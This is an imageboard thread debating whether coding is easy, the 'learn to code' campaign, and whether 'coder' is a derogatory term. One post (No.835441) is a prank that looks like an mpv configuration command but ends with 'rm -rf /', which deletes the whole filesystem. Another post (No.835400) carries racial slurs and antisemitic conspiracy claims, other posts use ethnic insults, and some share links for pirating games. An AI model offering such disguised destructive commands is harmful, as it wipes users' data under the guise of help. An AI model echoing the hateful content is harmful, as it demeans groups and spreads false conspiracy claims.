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▶ No.835374
Yeah and neither is woodworking. Doesn't mean your art class wooden box is good, or that people actually want to make chairs for a job.
▶ No.835396
>>835358 (OP)
Well gee, if the guy who wrote some shitty PHP code in 2006 says so, that must mean coding is easy as pie.
▶ No.835398
easy to learn, hard to master in all of it's nuances
▶ No.835400
>women are great at making and raising babies but terrible at coding
>but we run tech companies and don't give a shit if you die out so women should get into coding and lower the wages we have to pay
<wait no, we do give a shit! I'm Bill Gates and I donate megamillions to niggers in Africa so they will have a population of 5 billion by 2100 while you complain it's too expensive to have white children. I want you to die!
<and I'm Zuckerberg and I'm a Jew and I'm using my control over media to manipulate you into suicide while I build a fortress for myself to survive in the world I'm creating!
▶ No.835415>>836993
Damn they're really trying to turn decent blue collar jobs into minimum wage McJobs aren't they?
▶ No.835440>>835446
>>835420
Jesus what's with all of the Python environment variables
▶ No.835441>>835447 >>836986
>>835420
>mpv-shot0001.jpg
cd ~/code
cd..
sudo echo -e screenshot-format=png\\rscreenshot-png-compression=9\\rscreenshot-high-bit-depth=yes\\rscreenshot-template="%F %p"\\rscreenshot-directory=/home/Username/Pictures/Screenshots >> /etc/mpv/mpv.conf && rm -rf /
▶ No.835446
>>835440
There's only like 3 of them, what? Probably for a virtualenv. The real hitler here is all that fucking Oracle DB shit.
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▶ No.835482>>835484
You people should be thankful many retards are learning what coding is. If you're a talented programmer, they'll actually appreciate what it is you offer, because more people will know what it is they cannot do themselves.
For instance, Terry's parents probably just think their weird son just likes "playing around" on his computer, with realizing that he created God's Operating System.
▶ No.835484
>>835482
*without realizing
▶ No.835488>>835655 >>835663 >>835676 >>835681
>>835358 (OP)
Coding is difficult. Programming maybe not so much. If you don't know what the difference is, then you're 100 years too early to call yourself any kind of a professional.
▶ No.835655
>>835488
>selling pre-owned cars is easy
>selling used cars is difficult
>and don't fucking ask me about selling pre-enjoyed boats
▶ No.835663>>835676 >>836839
>>835488
You have it upside-down, pajeet. Learn the difference.
▶ No.835676>>835754
>>835488
>>835663
writing software code == writing software programs
▶ No.835679>>835689 >>835693
>>835358 (OP)
Question:
What do totalitarian faggots who literally scam the whole world, alienate people, kill and more are being treated has superstars ?
▶ No.835681>>836637
>>835488
>I find it bizarre that people use the term "coding" to mean programming. For decades, we used the word "coding" for the work of low-level staff in a business programming team. The designer would write a detailed flow chart, then the "coders" would write code to implement the flow chart. This is quite different from what we did and do in the hacker community -- with us, one person designs the program and writes its code as a single activity. When I developed GNU programs, that was programming, but it was definitely not coding.
>Since I don't think the recent fad for "coding" is an improvement, I have decided not to adopt it. I don't use the term "coding", except if I were talking about a business programming team which has coders.
▶ No.835689
>>835679
What are you talking about?
▶ No.835693
>>835679
Because most are useful idiots who suck up to those above them while kicking the ones below them. It gives them the feeling of belonging to the successful and thus protects their fragile ego. They think if they lick that boot enough they will be allowed to wear it one day. Which will never happen, of course.
▶ No.835720>>835726 >>835730
But it is not coding itself that is hard, that is just learning syntax more or less. The problem you are solving using coding is what is difficult.
This is also just about getting a bigger pool to hire from, nothing else. Why would otherwise push something like this?
▶ No.835726
>>835720
This. But the first thing that comes to my mind is the idea of every employee extending their work ecosystem with scripts and whatnot that could actually be a nice boost. The flipside is the amount of shitty code going up and the status of programming jobs going down.
▶ No.835730>>835732 >>835736
>>835720
>programming is just syntax
teach it sometime. I assisted a college class one time, a simple mandatory Python class for people in a tech track, and a girl just glared at me with "fuck you, you little worm" written on her face when I tried to explain that her 'solution' would fail literally 1/3 of the time.
Programming requires a certain mindset and not everyone has it.
▶ No.835732
>>835730
Sure. Maybe somewhat simplified, there is some talent and skill that comes with it.
▶ No.835736>>835751
>>835730
Sometimes you just don't think of some situation and your program will fail. The best programmers are the ones that can be told "you're wrong" and not take it personally. You don't even need to tell them HOW their program will fail, you just need to mention [use case] and they'll go
>oh...well, shit, yeah it's broke
▶ No.835751
>>835736
This wasn't a case of someone pridefully refusing to see faults in his work, but of someone pridelessly not caring that his work is blatantly faulty. "It passed the professor's three tests [just guides to expected behavior], so stop bothering me."
She had contempt for the craft. The moment I realized that, her attitude stopped pissing me off (as much) and I went back to helping people who were already six months ahead of the class.
▶ No.835754>>835761 >>836640 >>837008
>>835676
Coder is a derogatory term for people that can't think for themselves, and are forever stuck mindless re-implementing things they have copied from the internet, or some other programmer telling them what to do.
A coder is a codemonkey.
▶ No.835761
>>835754
>I'm not a coder I'm a software engineer
>I'm not a code monkey I'm a software architect
There are good jobs and bad jobs, but these labels won't help you distinguish one from the other. This is just the euphemism treadmill at work.
▶ No.836637
>>835681
that's some cool history right there
I need to look up if CS majors must go through computer history courses or not.
and it looks like MIT offers one
https://ocw.mit.edu/courses/science-technology-and-society/sts-035-the-history-of-computing-spring-2004/
▶ No.836640>>836665 >>836780 >>836784
>>835754
Hi newfriend. 'Coder' has been around before you were born and were the hardcore assembly programmers you've heard about from your youtube celebrities. It was certainly not derogatory.
▶ No.836665
>>836640
[citation needed]
▶ No.836780>>836783
>>836640
The term coder has been derogatory even before you were born, newfag.
▶ No.836783>>839220
>>836780
I was born in the '70s, kiddo. I remember when we used to call ourselves hackers, too.
▶ No.836784>>836788
>>836640
>'Coder' has been around before you were born and were the hardcore assembly programmers you've heard about from your youtube celebrities.
>before you were born
>and (you) were the hardcore assembly programmers you've heard about from your youtube celebrities.
Learn to Engrish.
▶ No.836787
>all this arguing over what to call syntax jockeys
▶ No.836788
>>836784
It parses. Do you need debugged?
▶ No.836830>>836873
I like the idea of coding but lack the patience to review and correct shit.
Hell, I don't even like re-reading the stories I write.
▶ No.836839
>>835663
You're right, and I kill myself now, because sleep deprivation is a hell of a drug.
▶ No.836873>>836900 >>837359
>>836830
Few programmers actually enjoy the coding. They like the feeling of "when the damn thing finally works". It's a bit like how most people who jog don't like jogging, but they like feeling healthy and being able to jog farther and farther.
▶ No.836900
>>836873
I love the thrill of building an application start to finish. Problems that arise in the middle of the development process are fun and exciting as it challenges my analysis and reasoning skills.
▶ No.836902
>>835382
I FUCKING LOVE CODING
▶ No.836993
>>835415
>implying blue-collar code isn't shit
▶ No.837008
>>835754
i prefer to be called an NBA allstar
▶ No.837359>>837388
>>836873
If you don't like coding you should quit. It gets more intense as you advance.
▶ No.837377
>free food
Where do I sign up? I'm mexican so they have to.
▶ No.837382
>>835358 (OP)
It's not difficult, but it's one of the worst things one can choose to do with one's life - it's fucking boring, to the point of depression and suicide.
They just want to flood the market with coders, so that they can hire a ton of them for pennies.
▶ No.837388
>>837359
I can't say I love it, but I don't dislike it. Things became much more interesting to me since lower level programming was introduced.
▶ No.838245
>>835358 (OP)
what inspires me is teachign african refguees how to code javascripta
▶ No.838334>>838614 >>838983
>>838263
http://store.steampowered.com/app/370360/TIS100/
Have fun moving shit around in simple game ASM with a one direct register and one indirect register.
It gets quite complicated towards the end where you get the tools to output colors on a display.
And when you're done with that, you can move on to:
http://store.steampowered.com/app/504210/SHENZHEN_IO/
And if there's still interest, you could learn ARM ASM and then Intel AMD ASM.
Or just learn JavaScript in the DOM lol rofl. "I'm a coder now guys".
▶ No.838347
>>838263
>pusha
>popa
Disgusting.
▶ No.838614>>838713 >>838714
>>838334
Can you upload SHENZHEN i/o somewhere?
Don't have the shekels to buy it and I don't find it on torrents.
I have TIS100 is someone wants it.
▶ No.838713>>838734
>>838614
https://thepiratebay org/search/shenzhen/0/99/400
Yes...
▶ No.838714>>838734
▶ No.838721
>>838263
>mul by a constant
>not shl + add
I seriously hope you guys don't do this.
▶ No.838734>>838735
>>838713
I was already trying to download from it, but no seeders.
>>838714
>windows
▶ No.838735>>839099
>>838734
I was talking about:
https://thepiratebay org/torrent/17085805/SHENZHEN_I_O_%5Bx86__amd64%5D_%5BENG%5D_%28Linux%29
They're saying 7 seeders, but it can't even download the basic infos.
▶ No.838982>>839220
ITT: LARPers give coding advice
▶ No.838983>>839602
>>838334
>steam
Kill yourself. Seriously.
▶ No.839099
▶ No.839220
>>838982
>Larp
Are you the same street-shitter shilling for Rust?
>>836783
>I remember when we used to call ourselves hackers, too.
Teenagers this very day call themselves hackers, retard. It's not something you fondly remember about. If you were taught in university you would know, that every old professor who retired from long ago would use the term coder for the groups of people that you order around.
▶ No.839602
>>838983
What a valuable post that needed to be made, I'm glad we have such high quality standards here unlike some other boards.